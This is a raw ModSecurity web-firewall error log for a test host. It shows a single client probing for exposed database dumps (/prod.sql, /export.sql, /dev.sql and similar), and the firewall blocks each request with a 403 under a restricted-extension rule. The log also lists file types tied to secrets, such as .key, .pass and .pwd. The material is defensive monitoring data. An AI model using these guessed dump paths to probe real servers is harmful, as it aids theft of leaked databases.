[Sun Mar 01 20:25:42.994620 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data.sql&quot;] [unique_id &quot;aaSStjbFttlEB3wQCxmfZwAAAAQ&quot;]
[Sun Mar 01 20:25:43.016480 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfaAAAAAQ&quot;]
[Sun Mar 01 20:25:43.017033 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfaAAAAAQ&quot;]
[Sun Mar 01 20:25:43.017199 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfaAAAAAQ&quot;]
[Sun Mar 01 20:25:43.039085 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfaQAAAAQ&quot;]
[Sun Mar 01 20:25:43.039604 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfaQAAAAQ&quot;]
[Sun Mar 01 20:25:43.039759 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfaQAAAAQ&quot;]
[Sun Mar 01 20:25:43.061643 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfagAAAAQ&quot;]
[Sun Mar 01 20:25:43.062175 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfagAAAAQ&quot;]
[Sun Mar 01 20:25:43.062363 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfagAAAAQ&quot;]
[Sun Mar 01 20:25:43.084265 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfawAAAAQ&quot;]
[Sun Mar 01 20:25:43.084783 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfawAAAAQ&quot;]
[Sun Mar 01 20:25:43.084944 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfawAAAAQ&quot;]
[Sun Mar 01 20:25:43.106775 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbAAAAAQ&quot;]
[Sun Mar 01 20:25:43.107347 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbAAAAAQ&quot;]
[Sun Mar 01 20:25:43.107504 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbAAAAAQ&quot;]
[Sun Mar 01 20:25:43.129463 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbQAAAAQ&quot;]
[Sun Mar 01 20:25:43.130010 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbQAAAAQ&quot;]
[Sun Mar 01 20:25:43.130166 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbQAAAAQ&quot;]
[Sun Mar 01 20:25:43.151951 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbgAAAAQ&quot;]
[Sun Mar 01 20:25:43.152451 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbgAAAAQ&quot;]
[Sun Mar 01 20:25:43.152597 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbgAAAAQ&quot;]
[Sun Mar 01 20:25:43.174300 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbwAAAAQ&quot;]
[Sun Mar 01 20:25:43.174789 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbwAAAAQ&quot;]
[Sun Mar 01 20:25:43.174976 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfbwAAAAQ&quot;]
[Sun Mar 01 20:25:43.196901 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfcAAAAAQ&quot;]
[Sun Mar 01 20:25:43.197408 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfcAAAAAQ&quot;]
[Sun Mar 01 20:25:43.197559 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.sql&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfcAAAAAQ&quot;]
